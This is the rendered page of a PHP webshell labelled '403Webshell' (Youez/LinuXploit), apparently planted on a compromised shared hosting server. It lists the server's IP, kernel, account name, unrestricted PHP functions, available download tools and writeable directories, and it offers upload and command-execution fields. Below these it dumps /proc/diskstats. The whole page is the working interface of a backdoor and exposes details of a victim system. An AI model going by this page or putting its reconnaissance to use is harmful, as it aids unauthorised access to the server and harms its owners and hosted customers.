403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0
   8      16 sdb 134235239 2672331413 22462024518 408882080 1248825330 493781918 13940858056 1075353036 0 339390920 1484067608
   8       0 sda 79917387 99623 7527191270 20698844 209826747 584957147 21090285408 381160448 0 19863300 401812956
   8       1 sda1 2422 468 156512 768 9831 58802 549688 2000 0 1508 2764
   8       2 sda2 79912844 99155 7526891598 20697804 209814056 584898345 21089712840 381158332 0 19861728 401756180
 253       0 dm-0 365463914 0 2923714185 608295328 216433516 0 1731468128 406351420 0 61918796 1015294568
 253       1 dm-1 33281 0 4207522 54196 107179 0 9185512 24620 0 20336 78836
 253       3 dm-3 439 0 8506 144 243745 0 1953216 20204 0 4072 20352
 253       2 dm-2 337408083 0 2699267537 423795184 29343087 0 234744696 48681160 0 32922476 472589480
 253       4 dm-4 309041 0 27366698 162600 111760 0 1500072 66420 0 254864 368176
 253       5 dm-5 73668568 0 589351417 148188232 9724849 0 77798792 18625656 0 22082844 166834380
 253       7 dm-7 92990307 0 743925329 244664472 23066958 0 184535664 59274056 0 21308768 304055340
 253       6 dm-6 94959 0 15666498 52656 13457869 0 134044912 1355148 0 120344 1408496
 253       8 dm-8 1108993175 0 8871948273 1668693076 1169517012 0 9356136096 4272419936 0 151620216 1672552032
 253       9 dm-9 5289799 0 447330912 10282572 79087410 0 1086003096 341055064 0 2283172 351493472
 253      10 dm-10 828387993 0 6627106817 1349824064 294521835 0 2356174680 860392476 0 94457600 2211024020
 253      11 dm-11 2981457 0 130224570 802772 3320435 0 33031160 6614600 0 595948 7437332
 253      12 dm-12 317660 0 43157778 39096 28369889 0 282274904 23175408 0 163840 23222368
 253      13 dm-13 70574737 0 6850798234 8118272 655260637 0 19541719968 76288180 0 16523364 84465204
 148       0 mars/infong1335 0 0 0 2926348284 0 0 0 573361260 4252939704 2378323340 1641654972
 148       1 mars/infong1301 0 0 0 1333515380 0 0 0 1513456400 4262098963 2379208704 2170662500
 148       2 mars/infong527 0 0 0 1676934076 0 0 0 2730146848 4047557248 2380608928 927716540
 148       3 mars/infong524 0 0 0 3569536836 0 0 0 4085750692 4165564534 2378360768 979508560
 148       4 mars/infongp-us66 0 0 0 1865367860 0 0 0 3522352028 3914329019 2382586632 1818648048
 148       5 mars/infong1565 0 0 0 1728164136 0 0 0 2450138240 3522575445 2386046576 795457544

Youez - 2016 - github.com/yon3zu
LinuXploit